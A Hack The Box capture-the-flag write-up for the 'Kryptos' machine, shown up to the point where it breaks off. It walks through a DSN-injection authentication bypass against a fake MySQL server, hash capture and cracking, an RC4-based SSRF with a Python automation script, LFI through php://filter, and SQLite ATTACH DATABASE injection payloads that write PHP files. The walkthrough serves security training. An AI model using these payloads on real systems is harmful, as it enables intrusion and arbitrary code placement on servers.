31 minute read



Hack The Box - Kryptos

Quick Summary

Hey guys today Kryptos retired and here’s my write-up about it. It’s one of the hardest boxes I’ve ever seen and it definitely taught me a lot. As you may have already guessed, it had a lot of cryptography stuff, it also had a long chain of web vulnerabilities, starting with authentication bypass and ending with SQL injection allowing arbitrary file write. It’s a Linux box and its ip is 10.10.10.129, I added it to /etc/hosts as kryptos.htb. Let’s jump right in !


Nmap

As always we will start with nmap to scan for open ports and services :

root@kali:~/Desktop/HTB/boxes/kryptos# nmap -sV -sV -sT -o nmapinitial kryptos.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-12 21:50 EET
Nmap scan report for kryptos.htb (10.10.10.129)
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.39 seconds

Only http on port 80 and ssh.

Initial Web Enumeration

http://kryptos.htb :




The index page is a login page titled Cryptor Login, I checked the directories with gobuster but the only interesting thing I got was a forbidden directory called dev :

root@kali:~/Desktop/HTB/boxes/kryptos# gobuster -u http://kryptos.htb/ -w /usr/share/wordlists/dirb/common.txt -to 120s -t 100

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://kryptos.htb/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 2m0s
=====================================================
2019/09/12 22:56:57 Starting gobuster
=====================================================
/.htpasswd (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/cgi-bin/ (Status: 403)
/css (Status: 301)
/dev (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)

I tested the login page with test:test and I intercepted the request with burp:





Request :

POST / HTTP/1.1
Host: kryptos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://kryptos.htb/
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Cookie: PHPSESSID=99ub5git6oc7mka23ibjdorla2
Connection: close
Upgrade-Insecure-Requests: 1

username=test&password=test&db=cryptor&token=fe47b3105c71089f25ea5342c41d7d9eb972b989c22db6c70b1f8d1f9c967ace&login=

I noticed a parameter called db, I changed its value to test to see what will happen :
Request :

POST / HTTP/1.1
Host: kryptos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://kryptos.htb/
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Cookie: PHPSESSID=99ub5git6oc7mka23ibjdorla2
Connection: close
Upgrade-Insecure-Requests: 1

username=test&password=test&db=test&token=eca86a50f4eaf5fbcceb0e73f9f0d93109bcb83658e8cdbe18248a5f93faa293&login=

Response :

HTTP/1.1 200 OK
Date: Thu, 12 Sep 2019 19:57:27 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 23
Connection: close
Content-Type: text/html; charset=UTF-8

PDOException code: 1044

I got a PDO exception, I searched for PDO and found this page. I looked at the user contributed notes and saw this example :

<?php
$db = new PDO('dblib:host=your_hostname;dbname=your_db;charset=UTF-8', $user, $pass);
?>

I guessed that the POST parameter db is being used in a similar code and dbname gets its value from it, so I thought of injecting that parameter with ;host=10.10.xx.xx and see If I can successfully change the host parameter.
Request :

POST / HTTP/1.1
Host: kryptos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://kryptos.htb/
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: PHPSESSID=99ub5git6oc7mka23ibjdorla2
Connection: close
Upgrade-Insecure-Requests: 1

username=test&password=test&db=cryptor;host=10.10.xx.xx&token=eca86a50f4eaf5fbcceb0e73f9f0d93109bcb83658e8cdbe18248a5f93faa293&login=

Response :

HTTP/1.1 200 OK
Date: Thu, 12 Sep 2019 20:01:29 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 23
Connection: close
Content-Type: text/html; charset=UTF-8

PDOException code: 2002

I got another exception code (2002) which is Connection refused, I listened on port 3306 (Default mysql port) with nc to verify that I’m getting a connection, then I sent the same request again. And I got a connection :

root@kali:~/Desktop/HTB/boxes/kryptos# nc -lvnp 3306
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::3306
Ncat: Listening on 0.0.0.0:3306
Ncat: Connection from 10.10.10.129.
Ncat: Connection from 10.10.10.129:47530.

We can run a fake mysql database and use this injection to make the server send the login query to our database, the database will respond that the credentials are valid and we will be able to bypass the authentication. However, to do this we need to get the database credentials and the login query, then depending on them we will setup the database.

Authentication Bypass: Getting Database Credentials

To get the database credentials I used metasploit’s module auxiliary/server/capture/mysql. It will run as a fake mysql server and capture the username and the password hash, the option JOHNPWFILE will save the hash in john format in an external file which we can use later to crack the hash.

msf5 > use auxiliary/server/capture/mysql                                                                                                                                                                         
msf5 auxiliary(server/capture/mysql) > show options
Module options (auxiliary/server/capture/mysql):

   Name        Current Setting                           Required  Description
   ----        ---------------                           --------  -----------
   CAINPWFILE                                            no        The local filename to store the hashes in Cain&Abel format
   CHALLENGE   112233445566778899AABBCCDDEEFF1122334455  yes       The 16 byte challenge
   JOHNPWFILE                                            no        The prefix to the local filename to store the hashes in JOHN format
   SRVHOST     0.0.0.0                                   yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     3306                                      yes       The local port to listen on.
   SRVVERSION  5.5.16                                    yes       The server version to report in the greeting response
   SSL         false                                     no        Negotiate SSL for incoming connections                                                                             
   SSLCert                                               no        Path to a custom SSL certificate (default is randomly generated)                                                                               


Auxiliary action:

   Name     Description
   ----     -----------
   Capture


msf5 auxiliary(server/capture/mysql) > set JOHNPWFILE ./hash
JOHNPWFILE => ./hash
msf5 auxiliary(server/capture/mysql) > set SRVHOST 10.10.xx.xx
SRVHOST => 10.10.xx.xx
msf5 auxiliary(server/capture/mysql) > run
[*] Auxiliary module running as background job 0.

[*] Started service listener on 10.10.xx.xx:3306
[*] Server started.

After running the module I sent this request again :

POST / HTTP/1.1
Host: kryptos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://kryptos.htb/
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: PHPSESSID=99ub5git6oc7mka23ibjdorla2
Connection: close
Upgrade-Insecure-Requests: 1

username=test&password=test&db=cryptor;host=10.10.xx.xx&token=eca86a50f4eaf5fbcceb0e73f9f0d93109bcb83658e8cdbe18248a5f93faa293&login=

And the server caught the credentials :

[+] 10.10.10.129:47538 - User: dbuser; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 73def07da6fba5dcc1b19c918dbd998e0d1f3f9d; Database: cryptor

I cracked it with john :

root@kali:~/Desktop/HTB/boxes/kryptos# cat hash_mysqlna 
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
root@kali:~/Desktop/HTB/boxes/kryptos# john --wordlist=/usr/share/wordlists/rockyou.txt ./hash_mysqlna 
Using default input encoding: UTF-8
Loaded 1 password hash (mysqlna, MySQL Network Authentication [SHA1 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
krypt0n1te       (dbuser)
1g 0:00:00:03 DONE (2019-09-12 22:15) 0.3184g/s 2054Kp/s 2054Kc/s 2054KC/s kryptic11..kry007
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Database name : cryptor
Username : dbuser
Password : krypt0n1te
Now we need to create the database, create the database user dbuser and grant them permission to the database cryptor :

root@kali:~/Desktop/HTB/boxes/kryptos# mysql
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 38
Server version: 10.3.14-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
3 rows in set (0.002 sec)

MariaDB [(none)]> create database cryptor;
Query OK, 1 row affected (0.025 sec)

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| cryptor            |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.001 sec)

MariaDB [(none)]> use cryptor;
Database changed
MariaDB [cryptor]> grant all privileges on *.* to 'dbuser'@'%' identified by 'krypt0n1te';
Query OK, 0 rows affected (0.133 sec)

MariaDB [cryptor]> 

Let’s test it :

root@kali:~/Desktop/HTB/boxes/kryptos# mysql -u dbuser -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 39
Server version: 10.3.14-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use cryptor;
Database changed
MariaDB [cryptor]> show tables;
Empty set (0.001 sec)

MariaDB [cryptor]> 

It’s working, dbuser can login and access cryptor.
By default the server listens on localhost only, I changed bind-address in /etc/mysql/mariadb.conf.d/50-server.cnf from 127.0.0.1 to 0.0.0.0 then I restarted the service.

root@kali:~/Desktop/HTB/boxes/kryptos# netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      4110/mysqld
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      1/init
tcp6       0      0 :::111                  :::*                    LISTEN      1/init
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      1971/java

Authentication Bypass: Getting Login Query

Now the server will be able to authenticate to the database as dbuser, however the login query will fail because the database is empty :
Request :

POST / HTTP/1.1
Host: kryptos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://kryptos.htb/
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: PHPSESSID=99ub5git6oc7mka23ibjdorla2
Connection: close
Upgrade-Insecure-Requests: 1

username=test&password=test&db=cryptor;host=10.10.xx.xx&token=eca86a50f4eaf5fbcceb0e73f9f0d93109bcb83658e8cdbe18248a5f93faa293&login=

Response :

HTTP/1.1 200 OK
Date: Thu, 12 Sep 2019 20:29:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 966
Connection: close
Content-Type: text/html; charset=UTF-8


<html>
<head>
  <title>Cryptor Login</title>
  <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
</head>
<body>
<div class="container-fluid">
<div class="container">
  <h2>Cryptor Login</h2>
  <form action="" method="post">
    <div class="form-group">
      <label for="Username">Username:</label>
      <input type="text" class="form-control" id="username" name="username" placeholder="Enter username">
    </div>
    <div class="form-group">
      <label for="password">Password:</label>
      <input type="password" class="form-control" id="password" name="password" placeholder="Enter password">
    </div>
    <input type="hidden" id="db" name="db" value="cryptor">
    <input type="hidden" name="token" value="1a379390e91abff83331c45c58db799820077653e0c857312c8c64ea34d94028" />
    <button type="submit" class="btn btn-primary" name="login">Submit</button>
  </form>
<div class="alert alert-danger">
  Nope.</div>
</div>
</body>
</html>

I ran tcpdump on tun0 then I sent the login request again with these credentials : rick:rick

POST / HTTP/1.1
Host: kryptos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://kryptos.htb/
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: PHPSESSID=99ub5git6oc7mka23ibjdorla2
Connection: close
Upgrade-Insecure-Requests: 1

username=rick&password=rick&db=cryptor;host=10.10.xx.xx&token=04621e3945efee9172f45070c43020e6615cccc81d5cc3d69f5e6f93a53321e2&login=

tcpdump :

root@kali:~/Desktop/HTB/boxes/kryptos# tcpdump -i tun0 -w cap.pcap
tcpdump: listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
^C27 packets captured
27 packets received by filter
0 packets dropped by kernel
root@kali:~/Desktop/HTB/boxes/kryptos# 

Then I opened the pcap file in wireshark and got the query :


SELECT username, password FROM users WHERE username='rick' AND password='891f490e5d7bdb06d90d56f8d7db405f'

Authentication Bypass: Setting-up the Database

From the query now we know that we need to create a table called users with the columns username and paassword, we also know that the passwords are saved md5 hashed as we saw for the password rick in the query :

>>> from hashlib import md5
>>> print md5("rick").hexdigest()
891f490e5d7bdb06d90d56f8d7db405f
>>>

I created the table users with the columns username, password :

root@kali:~/Desktop/HTB/boxes/kryptos# mysql
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 43
Server version: 10.3.14-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use cryptor;
Database changed
MariaDB [cryptor]> create table users ( username varchar(40) not null, password varchar(40) not null );
Query OK, 0 rows affected (0.409 sec)

Then I inserted my credentials (rick:rick) :

MariaDB [cryptor]> insert into users ( username, password ) values ( 'rick', '891f490e5d7bdb06d90d56f8d7db405f' );                                                                                                
Query OK, 1 row affected (0.149 sec)
MariaDB [cryptor]> show tables;
+-------------------+
| Tables_in_cryptor |
+-------------------+
| users             |
+-------------------+
1 row in set (0.001 sec)

MariaDB [cryptor]> select * from users;
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| rick     | 891f490e5d7bdb06d90d56f8d7db405f |
+----------+----------------------------------+
1 row in set (0.103 sec)

Let’s test the query :

MariaDB [cryptor]> SELECT username, password FROM users WHERE username='rick' AND password='891f490e5d7bdb06d90d56f8d7db405f';
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| rick     | 891f490e5d7bdb06d90d56f8d7db405f |
+----------+----------------------------------+
1 row in set (0.004 sec)

MariaDB [cryptor]> 

It’s working.
Now we can simply go to the login page, edit the form input id and inject the host parameter then login with rick:rick.




RC4

After getting in I got this application which had 2 pages, first one was to encrypt a file :


Second one was to decrypt a file but it was under construction :


The encryption page had two encryption methods, AES-CBC and RC4, I searched about RC4 and read about it here. As the article said, RC4 is a stream cipher and it’s XOR based. The article also gave an example :

RC4 Encryption 
10011000 ? 01010000 = 11001000    

RC4 Decryption 
11001000 ? 01010000 = 10011000

As you can see, decryption and encryption are the exact same operation, which means that applying the encryption function on encrypted data will eventually decrypt that data if the key is the same used to encrypt it before. In other words, we can use the RC4 encryption option in encrypt.php to encrypt and decrypt data. Let’s test it.
I created a file called test.txt with the word test in it, then I hosted it on a python server :

root@kali:~/Desktop/HTB/boxes/kryptos# echo test > test.txt
root@kali:~/Desktop/HTB/boxes/kryptos# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Then I encrypted it :



It returned a base-64 encoded string, if we try to decode it we will get nothing readable because the data is encrypted :

root@kali:~/Desktop/HTB/boxes/kryptos# echo 'LFuc6DA=' | base64 -d 
,[0

I decoded it and saved the result in another file and called it test2.txt then I ran the python server again :

root@kali:~/Desktop/HTB/boxes/kryptos# echo 'LFuc6DA=' | base64 -d > test2.txt
root@kali:~/Desktop/HTB/boxes/kryptos# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

I applied the same encryption on the encrypted file :



And I got the original data decrypted :

root@kali:~/Desktop/HTB/boxes/kryptos# echo 'dGVzdAo=' | base64 -d
test

SSRF

Great, we can encrypt and decrypt files, but reading our files isn’t really helpful. Earlier during the initial enumeration there was a forbidden directory /dev. When we provide a url to /encrypt.php to request a file and encrypt it the requests were made by the server, so I tested for server side request forgery :



root@kali:~/Desktop/HTB/boxes/kryptos# echo 'ZFab8VZUIV5qu5rKj1SWoME9ZBewRadWNQ4YR9dM/657ZSgW9mfb4h2q32cxgq1+M67NnqRzOMvibBdA9jHboYr6oC+fzHibzR903NzgQBTbcJMhLkhQPRkVpQheiyKIY0NIhL1gwSXAlLTsXxtTDF/RmUlTRvdraDyTHEb0slCruyQ+DUxVMbjR/wmRfZcjP0l8t4XKSdOulLrHZskwsku1mIupShlgyyaRsvWXlbRbU32t4wMYrN7AZWTihxwSmNd+yaGQ85wh3RqJuBXLcFBb3HkM1A==' | base64 -d > dev.enc





root@kali:~/Desktop/HTB/boxes/kryptos# echo 'PGh0bWw+CiAgICA8aGVhZD4KICAgIDwvaGVhZD4KICAgIDxib2R5PgoJPGRpdiBjbGFzcz0ibWVudSI+CgkgICAgPGEgaHJlZj0iaW5kZXgucGhwIj5NYWluIFBhZ2U8L2E+CgkgICAgPGEgaHJlZj0iaW5kZXgucGhwP3ZpZXc9YWJvdXQiPkFib3V0PC9hPgoJICAgIDxhIGhyZWY9ImluZGV4LnBocD92aWV3PXRvZG8iPlRvRG88L2E+Cgk8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+Cg==' | base64 -d                                                                           
<html>
    <head>
    </head>
    <body>
        <div class="menu">
            <a href="index.php">Main Page</a>
            <a href="index.php?view=about">About</a>
            <a href="index.php?view=todo">ToDo</a>
        </div>
</body>
</html>
root@kali:~/Desktop/HTB/boxes/kryptos# 

It worked.
This process of “encryption –> decoding and saving to a file –> decryption –> decoding” was a lot of steps and doing it manually through burp or the browser wasn’t efficient, so I wrote a script to automate it : ssrf.py :

#!/usr/bin/python3
import requests
from os import system
from base64 import b64decode

N = 1
cookies = {"PHPSESSID" : "99ub5git6oc7mka23ibjdorla2"}

def encrypt(url):
	params = {'cipher' : 'RC4','url' : url}
	req = requests.get("http://kryptos.htb/encrypt.php",params=params,cookies=cookies)
	response = req.text
	start = "id=\"output\">"
	end = "</textarea>"
	result = response[response.find(start)+len(start):response.rfind(end)]
	return result

def decrypt(filename):
	url = "http://10.10.xx.xx/" + filename # replace this with your ip address
	params = {'cipher' : 'RC4','url' : url}
	req = requests.get("http://kryptos.htb/encrypt.php",params=params,cookies=cookies)
	response = req.text
	start = "id=\"output\">"
	end = "</textarea>"
	result = response[response.find(start)+len(start):response.rfind(end)]
	result = b64decode(result)
	return result

def create_file(data):
	global N
	filename = "ENCRYPTED_" + str(N)
	data = b64decode(data)
	with open(filename,"wb") as f:
		f.write(data)
		f.close()
	return filename

YELLOW = "\033[93m"
GREEN = "\033[32m"

while True:
	url = input(GREEN + "[?] URL : ")
	if url == "EXIT" :
		system("rm ./ENCRYPTED_* && rm ./OUTPUT_*")
		exit()
	result = decrypt(create_file(encrypt(url)))
	outfile = "OUTPUT_" + str(N)
	with open(outfile,"wb") as f:
		f.write(result)
		f.close()
	print(YELLOW + "[*] Result :")
	system("cat ./" + outfile)
	N+=1

This script sends a request to /encrypt.php with the given url, then it retrieves the encrypted data and saves it in a file. It sends another request to /encrypt.php with the url to the encrypted file then it retrieves the decrypted data, saves it in a file then it prints it.
It saves encrypted files and decrypted files and names them according to this pattern : ENCRYPTED_N, OUTPUT_N where N is a number which is incremented by 1 every request.
I created a directory and called it ssrf, I ran a python server there then I ran my script :


/dev :

[?] URL : http://127.0.0.1/dev/
[*] Result :
<html>
    <head>
    </head>
    <body>
        <div class="menu">
            <a href="index.php">Main Page</a>
            <a href="index.php?view=about">About</a>
            <a href="index.php?view=todo">ToDo</a>
        </div>
</body>
</html>

I went to /dev/index.php?view=todo and I found some interesting stuff :

[?] URL : http://127.0.0.1/dev/index.php?view=todo
[*] Result :
<html>
    <head>
    </head>
    <body>
        <div class="menu">
            <a href="index.php">Main Page</a>
            <a href="index.php?view=about">About</a>
            <a href="index.php?view=todo">ToDo</a>
        </div>
<h3>ToDo List:</h3>
1) Remove sqlite_test_page.php
<br>2) Remove world writable folder which was used for sqlite testing
<br>3) Do the needful
<h3> Done: </h3>
1) Restrict access to /dev
<br>2) Disable dangerous PHP functions

</body>
</html>

There were 2 “done” things in this todo list : restricting access to /dev and disabling dangerous php functions which will be a problem if we could somehow upload/write files. However the things that haven’t been done yet were removing a php page called sqlite_test_page.php and removing a folder writable by everyone which was used for sqlite testing, probably used by the sqlite_test_page.php.
I went to /dev/sqlite_test_page.php but I only got an empty html page :

[?] URL : http://127.0.0.1/dev/sqlite_test_page.php
[*] Result :
<html>
<head></head>
<body>
</body>
</html>

LFI

As we saw, /dev/index.php had a parameter called view which was used to view other pages, There was a possible local file inclusion vulnerability here so I tested on /index.php and it worked :

[?] URL : http://127.0.0.1/dev/index.php?view=../index    
[*] Result :
<html>
    <head>
    </head>
    <body>
        <div class="menu">
            <a href="index.php">Main Page</a>
            <a href="index.php?view=about">About</a>
            <a href="index.php?view=todo">ToDo</a>
        </div>

<html>
<head>
  <title>Cryptor Login</title>
  <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
</head>
<body>
<div class="container-fluid">
<div class="container">
  <h2>Cryptor Login</h2>
  <form action="" method="post">
    <div class="form-group">
      <label for="Username">Username:</label>
      <input type="text" class="form-control" id="username" name="username" placeholder="Enter username">                                                                                                         
    </div>
    <div class="form-group">
      <label for="password">Password:</label>
      <input type="password" class="form-control" id="password" name="password" placeholder="Enter password">                                                                                                     
    </div>
    <input type="hidden" id="db" name="db" value="cryptor">
    <input type="hidden" name="token" value="66fc3775dd9b849f2522417e51bd12cffc0e0196a7deb43b1cd9756b65d09e91" />                                                                                                 
    <button type="submit" class="btn btn-primary" name="login">Submit</button>
  </form>
</div>
</body>
</html>

</body>
</html>

I wanted to read the php code of sqlite_test_page.php to know what’s in there so I tried the php://filter/convert.base64-encode wrapper (got it from here) and it worked :

[?] URL : http://127.0.0.1/dev/index.php?view=php://filter/convert.base64-encode/resource=sqlite_test_page
[*] Result :
<html>
    <head>
    </head>
    <body>
        <div class="menu">
            <a href="index.php">Main Page</a>
            <a href="index.php?view=about">About</a>
            <a href="index.php?view=todo">ToDo</a>
        </div>
PGh0bWw+CjxoZWFkPjwvaGVhZD4KPGJvZHk+Cjw/cGhwCiRub19yZXN1bHRzID0gJF9HRVRbJ25vX3Jlc3VsdHMnXTsKJGJvb2tpZCA9ICRfR0VUWydib29raWQnXTsKJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYm9va3MgV0hFUkUgaWQ9Ii4kYm9va2lkOwppZiAoaXNzZXQoJGJvb2tpZCkpIHsKICAgY2xhc3MgTXlEQiBleHRlbmRzIFNRTGl0ZTMKICAgewogICAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICAgIHsKCSAvLyBUaGlzIGZvbGRlciBpcyB3b3JsZCB3cml0YWJsZSAtIHRvIGJlIGFibGUgdG8gY3JlYXRlL21vZGlmeSBkYXRhYmFzZXMgZnJvbSBQSFAgY29kZQogICAgICAgICAkdGhpcy0+b3BlbignZDllMjhhZmNmMGIyNzRhNWUwNTQyYWJiNjdkYjA3ODQvYm9va3MuZGInKTsKICAgICAgfQogICB9CiAgICRkYiA9IG5ldyBNeURCKCk7CiAgIGlmKCEkZGIpewogICAgICBlY2hvICRkYi0+bGFzdEVycm9yTXNnKCk7CiAgIH0gZWxzZSB7CiAgICAgIGVjaG8gIk9wZW5lZCBkYXRhYmFzZSBzdWNjZXNzZnVsbHlcbiI7CiAgIH0KICAgZWNobyAiUXVlcnkgOiAiLiRxdWVyeS4iXG4iOwoKaWYgKGlzc2V0KCRub19yZXN1bHRzKSkgewogICAkcmV0ID0gJGRiLT5leGVjKCRxdWVyeSk7CiAgIGlmKCRyZXQ9PUZBTFNFKQogICAgewoJZWNobyAiRXJyb3IgOiAiLiRkYi0+bGFzdEVycm9yTXNnKCk7CiAgICB9Cn0KZWxzZQp7CiAgICRyZXQgPSAkZGItPnF1ZXJ5KCRxdWVyeSk7CiAgIHdoaWxlKCRyb3cgPSAkcmV0LT5mZXRjaEFycmF5KFNRTElURTNfQVNTT0MpICl7CiAgICAgIGVjaG8gIk5hbWUgPSAiLiAkcm93WyduYW1lJ10gLiAiXG4iOwogICB9CiAgIGlmKCRyZXQ9PUZBTFNFKQogICAgewoJZWNobyAiRXJyb3IgOiAiLiRkYi0+bGFzdEVycm9yTXNnKCk7CiAgICB9CiAgICRkYi0+Y2xvc2UoKTsKfQp9Cj8+CjwvYm9keT4KPC9odG1sPgo=</body>
</html>

SQLI –> Arbitrary File Write

sqlite_test_page.php :

<?php
$no_results = $_GET['no_results'];
$bookid = $_GET['bookid'];
$query = "SELECT * FROM books WHERE id=".$bookid;
if (isset($bookid)) {
   class MyDB extends SQLite3
   {
      function __construct()
      {
	 // This folder is world writable - to be able to create/modify databases from PHP code
         $this->open('d9e28afcf0b274a5e0542abb67db0784/books.db');
      }
   }
   $db = new MyDB();
   if(!$db){
      echo $db->lastErrorMsg();
   } else {
      echo "Opened database successfully\n";
   }
   echo "Query : ".$query."\n";

if (isset($no_results)) {
   $ret = $db->exec($query);
   if($ret==FALSE)
    {
	echo "Error : ".$db->lastErrorMsg();
    }
}
else
{
   $ret = $db->query($query);
   while($row = $ret->fetchArray(SQLITE3_ASSOC) ){
      echo "Name = ". $row['name'] . "\n";
   }
   if($ret==FALSE)
    {
	echo "Error : ".$db->lastErrorMsg();
    }
   $db->close();
}
}
?>

It takes two parameters : no_results and bookid :

$no_results = $_GET['no_results'];
$bookid = $_GET['bookid'];

And it appends bookid to a sqlite query without any filtering :

$query = "SELECT * FROM books WHERE id=".$bookid;

We also can see the name of the writable directory d9e28afcf0b274a5e0542abb67db0784 :

 // This folder is world writable - to be able to create/modify databases from PHP code
         $this->open('d9e28afcf0b274a5e0542abb67db0784/books.db');

With this SQL injection and the name of a writable directory, we can use the SQLite command Attach Database to write files (got it from here).
I tried a test file first so the payload was like this :

1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/test.php' AS test;CREATE TABLE test.pwn (dataz text);INSERT INTO test.pwn (dataz) VALUES ('<?php echo "test" ?>');

First attempt failed apparently because of encoding issues so I url-encoded the payload and tried again:

[?] URL : http://127.0.0.1/dev/sqlite_test_page.php?no_results=FALSE&bookid=%31%3b%41%54%54%41%43%48%20%44%41%54%41%42%41%53%45%20%27%64%39%65%32%38%61%66%63%66%30%62%32%37%34%61%35%65%30%35%34%32%61%62%62%36%37%64%62%30%37%38%34%2f%74%65%73%74%2e%70%68%70%27%20%41%53%20%74%65%73%74%3b%43%52%45%41%54%45%20%54%41%42%4c%45%20%74%65%73%74%2e%70%77%6e%20%28%64%61%74%61%7a%20%74%65%78%74%29%3b%49%4e%53%45%52%54%20%49%4e%54%4f%20%74%65%73%74%2e%70%77%6e%20%28%64%61%74%61%7a%29%20%56%41%4c%55%45%53%20%28%27%3c%3f%70%68%70%20%65%63%68%6f%20%22%74%65%73%74%22%20%3f%3e%27%29%3b
[*] Result :
<html>
<head></head>
<body>
Opened database successfully
Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/test.php' AS test;CREATE TABLE test.pwn (dataz text);INSERT INTO test.pwn (dataz) VALUES ('<?php echo "test" ?>');
</body>
</html>

The file was successfully created :

[?] URL : http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/test.php
[*] Result :
test

Arbitrary File Read

We know that dangerous php functions are disabled, but let’s check which functions are exactly disabled, I overwrote my test.php file and made it call phpinfo() instead of printing test :

[?] URL : http://127.0.0.1/dev/sqlite_test_page.php?no_results=FALSE&bookid=%31%3b%41%54%54%41%43%48%20%44%41%54%41%42%41%53%45%20%27%64%39%65%32%38%61%66%63%66%30%62%32%37%34%61%35%65%30%35%34%32%61%62%62%36%37%64%62%30%37%38%34%2f%74%65%73%74%2e%70%68%70%27%20%41%53%20%74%65%73%74%3b%43%52%45%41%54%45%20%54%41%42%4c%45%20%74%65%73%74%2e%70%77%6e%20%28%64%61%74%61%7a%20%74%65%78%74%29%3b%49%4e%53%45%52%54%20%49%4e%54%4f%20%74%65%73%74%2e%70%77%6e%20%28%64%61%74%61%7a%29%20%56%41%4c%55%45%53%20%28%27%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%20%3f%3e%27%29%3b
[*] Result :
<html>
<head></head>
<body>
Opened database successfully
